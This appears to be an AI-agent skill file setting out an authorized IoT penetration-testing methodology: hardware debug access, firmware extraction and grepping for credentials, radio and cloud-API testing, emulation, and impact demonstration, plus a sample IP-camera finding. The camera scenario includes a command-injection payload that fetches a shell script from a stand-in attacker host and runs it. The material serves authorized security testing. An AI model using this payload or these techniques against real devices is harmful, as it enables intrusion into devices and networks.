Webapp Performing Iot Security Assessment

---
name: webapp-performing-iot-security-assessment
description: Performs comprehensive security assessments of IoT devices and their ecosystems by testing hardware interfaces, firmware, network communications, cloud APIs, and companion mobile applications.
domain: webapp
category: ot-ics
hide: true
license: Apache-2.0
metadata:
  manifest_entry: src/corpus/webapp-performing-iot-security-assessment/SKILL.md
---
# Performing IoT Security Assessment

## When to Use

- Evaluating the security of IoT devices before deployment in enterprise or critical infrastructure environments
- Assessing consumer IoT products for security vulnerabilities as part of product security review or certification
- Testing industrial IoT (IIoT) devices for vulnerabilities that could affect operational technology environments
- Analyzing firmware for backdoors, hardcoded credentials, and known vulnerabilities in embedded components
- Evaluating the security of the complete IoT ecosystem including device, cloud backend, and mobile companion app

**Do not use** against IoT devices without written authorization, for modifying firmware on devices you do not own, or against medical devices or safety-critical systems without specific medical device testing authorization and safety protocols.

## Most Often Missed & How to Confirm

- **Hardware debug interfaces before the web UI** — UART (often a no-auth root console at 115200) and JTAG/SWD frequently give root immediately. Testers who only fuzz the web interface miss the easiest full compromise. Probe headers/test points with a multimeter or JTAGulator.
- **Firmware secrets shared across the whole fleet** — extract from SPI/eMMC (`flashrom`) or the vendor update, then `binwalk -e` and grep for hardcoded creds, private keys, API tokens, and `/etc/shadow` hashes. One model-wide key compromises every deployed unit.
- **The full ecosystem, not just the device** — the cloud API (IDOR/auth-bypass on device-to-cloud calls) and the companion mobile app (hardcoded endpoints/keys) are often weaker than the device itself.
- **All radios and protocols** — BLE (static pairing, plaintext characteristics), Zigbee/Z-Wave (replay, weak key exchange), and unauthenticated MQTT/CoAP/ONVIF/RTSP, plus unencrypted device traffic.
- **Network blast radius** — prove a compromised device can pivot to the corporate/OT network; segmentation failure is usually the real enterprise risk.
- **How to confirm**: capture concrete proof — a serial-console root prompt photo + `id` output, the extracted firmware path with the cracked credential, a Burp capture of a cloud-API IDOR returning another user's data, or a sniffed BLE/Zigbee packet. Don't conclude the device is hardened until you have checked UART/JTAG and dumped+analyzed the firmware, not just the running web UI; don't conclude it's safe to deploy until you've tested whether it can reach the corporate network.

## Prerequisites

- Physical access to the target IoT device(s) for hardware analysis and testing
- Hardware tools: USB-to-UART adapter (FTDI), Bus Pirate, logic analyzer, JTAG debugger (Segger J-Link), SPI flash programmer (CH341A)
- Firmware analysis tools: Binwalk, Firmwalker, Firmware Analysis Toolkit (FAT), Ghidra, QEMU for emulation
- Network analysis: Wireshark, tcpdump, Bluetooth tools (Ubertooth, nRF Connect), Zigbee tools (KillerBee)
- Soldering equipment for accessing hardware debug points if needed

## Workflow

### Step 1: Device Reconnaissance and Hardware Analysis

Examine the physical device and identify attack surfaces:

- **External inspection**: Document all physical interfaces (USB, Ethernet, serial ports, SD card slots), labels, FCC ID, and model numbers
- **FCC ID lookup**: Search the FCC database (fcc.gov/oet/ea/fccid) using the FCC ID to find internal photos, schematics, and radio frequency information
- **PCB analysis**: Open the device enclosure and photograph the PCB. Identify:
  - Main processor/SoC (read markings, search datasheet)
  - Flash memory chips (SPI NOR, NAND, eMMC)
  - Debug headers and test points
  - UART/JTAG/SWD pins (look for 4-pin or 10-pin headers, or unpopulated pads)
- **UART identification**: Use a multimeter to identify UART pins (TX, RX, GND, VCC). Connect USB-to-UART adapter and attempt serial console access at common baud rates (9600, 38400, 57600, 115200)
- **JTAG identification**: Use JTAGulator or manual probing to identify JTAG pins (TCK, TMS, TDI, TDO, TRST). Connect JTAG debugger for memory access and debugging.

### Step 2: Firmware Extraction and Analysis

Extract and analyze the device firmware:

- **Firmware acquisition methods**:
  - Download from manufacturer website or update server
  - Extract from flash memory using SPI programmer: connect CH341A to SPI flash, read with `flashrom -p ch341a_spi -r firmware.bin`
  - Capture over-the-air updates via network interception
  - Extract from UART bootloader console (U-Boot: `md.b` memory dump)
- **Firmware unpacking**: `binwalk -e firmware.bin` to extract filesystem, kernel, and bootloader components
- **Filesystem analysis**:
  - Search for credentials: `grep -rn "password\|passwd\|secret\|key" squashfs-root/`
  - Examine `/etc/shadow` for password hashes
  - Review startup scripts in `/etc/init.d/` for insecure service configurations
  - Identify web server configurations and CGI scripts for web interface vulnerabilities
  - Use Firmwalker: `./firmwalker.sh squashfs-root/` for automated sensitive data discovery
- **Binary analysis**: Use Ghidra to reverse engineer key binaries (web server, management daemon, authentication modules) for hardcoded credentials, command injection, and buffer overflow vulnerabilities
- **Known vulnerability scanning**: Extract software versions and cross-reference with CVE databases. Use `firmware-analysis-toolkit` for automated CVE scanning.

### Step 3: Network Communication Analysis

Analyze all network traffic from the IoT device:

- **Traffic capture**: Connect the device to a network with traffic mirroring (SPAN port) or use an inline transparent bridge. Capture all traffic with Wireshark.
- **Protocol analysis**: Identify all protocols used (HTTP, HTTPS, MQTT, CoAP, AMQP, custom TCP/UDP). Check for unencrypted sensitive data transmission.
- **TLS analysis**: Verify TLS implementation: certificate validation, cipher suite strength, certificate pinning. Attempt MITM interception with Burp Suite.
- **Cloud API analysis**: Intercept device-to-cloud communication to identify API endpoints, authentication methods, and data transmitted. Test for IDOR, authentication bypass, and excessive data exposure.
- **Bluetooth/BLE testing**: Use nRF Connect or Ubertooth to enumerate BLE services and characteristics. Test for unauthenticated access, plaintext data transmission, and static pairing keys.
- **Zigbee/Z-Wave testing**: Use KillerBee framework to capture and analyze Zigbee traffic, test for replay attacks, and check key exchange security.

### Step 4: Firmware Emulation and Dynamic Testing

Emulate the firmware for dynamic security testing:

- **QEMU emulation**: Use FirmAE or Firmadyne to emulate the extracted firmware: `python3 fat.py firmware.bin` to boot the firmware in an emulated environment
- **Web interface testing**: Access the device's web management interface from the emulated environment and test for:
  - Default credentials (admin:admin, root:root, admin:password)
  - Command injection in configuration parameters
  - Authentication bypass via direct URL access
  - Cross-site scripting in all input fields
  - CSRF in state-changing operations
- **Service testing**: Use Nmap to scan the emulated device for all open ports and test each service for known vulnerabilities
- **Fuzzing**: Fuzz network services using Boofuzz or AFL to discover memory corruption vulnerabilities in embedded services

### Step 5: Exploitation and Impact Demonstration

Exploit identified vulnerabilities to demonstrate impact:

- **Remote code execution**: Chain discovered vulnerabilities (command injection, buffer overflow) to achieve remote code execution on the device
- **Credential extraction**: Extract and crack credentials found in firmware, memory dumps, or network captures
- **Lateral movement**: Demonstrate how a compromised IoT device can be used to attack other devices on the network
- **Persistence**: Show how an attacker could maintain access to the device across firmware updates or reboots
- **Physical impact**: For IIoT devices, demonstrate the potential for physical manipulation (changing sensor readings, modifying actuator commands)

## Key Concepts

| Term | Definition |
|------|------------|
| **UART** | Universal Asynchronous Receiver/Transmitter; a serial communication interface commonly used for debug consoles on embedded devices, often providing root shell access |
| **JTAG** | Joint Test Action Group; a hardware debugging interface that provides direct access to the processor for memory reading, code debugging, and firmware extraction |
| **Firmware** | The software embedded in the device's flash memory that controls its operation, typically consisting of a bootloader, operating system kernel, and root filesystem |
| **Binwalk** | A firmware analysis tool that identifies and extracts embedded file systems, compressed archives, and binary components from firmware images |
| **MQTT** | Message Queuing Telemetry Transport; a lightweight publish/subscribe protocol commonly used for IoT device communication, often deployed without authentication |
| **BLE** | Bluetooth Low Energy; a wireless protocol used by many IoT devices for short-range communication, susceptible to eavesdropping and unauthorized access if not properly secured |

## Tools & Systems

- **Binwalk**: Firmware extraction and analysis tool that identifies file system types, compression formats, and embedded data within firmware images
- **Ghidra**: NSA's open-source reverse engineering framework for analyzing embedded device binaries across ARM, MIPS, and other architectures
- **FirmAE/Firmadyne**: Automated firmware emulation platforms that boot extracted Linux-based IoT firmware in QEMU for dynamic testing
- **Bus Pirate**: Hardware hacking multi-tool supporting UART, SPI, I2C, and JTAG protocols for interfacing with embedded device debug interfaces
- **Wireshark**: Network protocol analyzer for capturing and analyzing IoT device network traffic across all protocol layers

## Common Scenarios

### Scenario: Enterprise IP Camera Security Assessment

**Context**: A company plans to deploy 200 IP cameras from a single vendor across its offices. Before deployment, the security team requests a penetration test of the camera to identify vulnerabilities that could be exploited to gain access to the corporate network.

**Approach**:
1. Open the camera and identify UART pins on the PCB; connect and access a root shell at 115200 baud with no password
2. Extract firmware from the SPI flash chip and analyze with Binwalk: discover embedded Linux with BusyBox, lighttpd web server, and custom management daemon
3. Find hardcoded credentials in `/etc/shadow` (root:$1$abc$hashedpassword) and crack the MD5 hash in seconds (password: camera123)
4. Web interface testing reveals command injection in the NTP server configuration field: `; wget http://attacker.com/shell.sh | sh`
5. Network analysis shows the camera sends RTSP streams unencrypted and has ONVIF services exposed without authentication
6. Demonstrate pivoting: from the compromised camera, scan the corporate network and access 3 internal servers
7. Report recommends network segmentation, firmware vendor engagement, and deployment of cameras on an isolated VLAN

**Pitfalls**:
- Focusing only on the web interface and missing UART/JTAG access that provides a root shell with no authentication
- Not analyzing the firmware for hardcoded credentials that may be shared across all devices of the same model
- Testing the device in isolation and missing network-level risks from deploying vulnerable devices on the corporate network
- Overlooking the cloud connectivity and mobile app components that may expose additional attack surfaces

## Output Format

```
## Finding: Unauthenticated Root Shell via UART Debug Interface

**ID**: IOT-001
**Severity**: Critical (CVSS 9.0)
**Device**: ModelCam X200 IP Camera (Firmware v3.2.1)
**Interface**: UART serial console (115200 baud, 8N1)

**Description**:
The IP camera exposes a UART serial interface on the PCB that provides
direct root shell access without authentication. An attacker with physical
access to the device can connect a USB-to-UART adapter and obtain full
root access to the embedded Linux operating system.

**Proof of Concept**:
1. Opened device enclosure (4 Philips screws, no tamper detection)
2. Connected FTDI adapter to UART pins (J3 header on PCB)
3. Serial terminal at 115200 8N1: immediate root shell prompt
4. root@camera:~# id -> uid=0(root) gid=0(root)

**Additional Findings from Root Access**:
- /etc/shadow contains hardcoded root password (camera123) shared across all units
- WiFi credentials for any configured network stored in plaintext at /etc/wireless.conf
- RTSP stream accessible without authentication on port 554

**Impact**:
Physical access to any deployed camera grants root access to the network.
With 200 cameras deployed across offices, each camera becomes a potential
network entry point with root-level command execution capability.

**Remediation**:
1. Disable UART console access or require authentication in production firmware
2. Remove hardcoded credentials; use per-device unique passwords generated at manufacture
3. Encrypt stored WiFi credentials using a hardware-backed key
4. Deploy cameras on an isolated VLAN with no access to the corporate network
```